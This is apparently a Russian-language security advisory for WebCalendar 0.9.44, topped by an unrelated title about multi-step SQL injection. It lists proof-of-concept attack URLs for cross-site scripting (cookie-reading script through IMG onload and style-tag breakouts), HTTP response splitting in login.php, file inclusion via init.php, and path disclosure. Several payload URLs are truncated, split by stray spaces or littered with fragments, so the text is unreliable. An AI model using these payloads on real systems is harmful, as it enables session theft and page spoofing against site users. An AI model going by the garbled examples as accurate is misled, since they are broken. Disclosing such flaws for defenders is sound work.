Xakep #305. Многошаговые SQL-инъекции
Программа: WebCalendar 0.9.44
Удаленный атакующий может произвести XSS и Response splitting атаки, определить путь к установочной директории на сервере и получить административный доступ к приложению.
1. Межсайтовое выполнение сценариев возможно из-за некорректной фильтрации HTML кода в тэгах IMG. Удаленный атакующий может сформировать специальным образом URL и выполнить произвольный HTML сценарий в браузере целевого пользователя.
Пример:
http://[target]/demo/view_entry.php?id=41972"> <img%20src=http://images.sourceforge.net/images/head_bg_new.gif
%20onload=javas
http://[target]/demo/view_d.php?id=657"> <img%20src=http://images.sourceforge.net/images/head_bg_new.gif
%20onload=javascript:
http://[target]/demo/usersel.php?form=editentryform. elements[20];%0d%0aalert(document.cookie);//
&listid=20&users=demo,demo1,demo2
http://[target]/demo/datesel.php?form=editentryform.elements
[20].rpt_day.selectedIndex%20=%20day%20-%201; alert(document.cookie);//"
ookie)>&fday=rpt_day&fmonth=rpt_ month& fyear=rpt_year&date=20041001
http://[target]/demo/datesel.php?form=editentryform&fday= rpt_day"%20onclick=javascript:alert(document.cookie)>
&fmonth=&t
http://[target]/demo/includes/trailer.php?user="> <img%20src=http://images.sourceforge.net/images/
head_bg_new.gif%20onload=ja;
http://[target]/demo/includes/styles.php?FONTS=asdf} %0A--></style><script>alert(
document.cookie)</script&a
Все глобальные параметры уязвимы.
2. Удаленный атакующий может произвести атаку Response slitting и подменить содержимое страницы. Уязвимый сценарий – login.php.
Пример:
http://[target]/demo/login.php?re turn_path=
%0d%0aContent-Length:0%0d%0a%0d%0aHTTP/1.1 %20200%20OK%0d%0a%0d%0dContent-Type:text/html%0d%0a
3. Локальный пользователь может создать файл в доступной web серверу директории, и затем с помощью специально сформированного URL выполнить его.
Пример:
http://[target]/demo/includes/init.php? user_inc=the_file_that_you_upload_
via_ftp_or_other
4. Удаленный атакующий может получить данные о пути к установочной директории приложения на сервере с помощью специально сформированного URL.
Пример:
http://[target]/demo/includes/validate.php?encoded_login=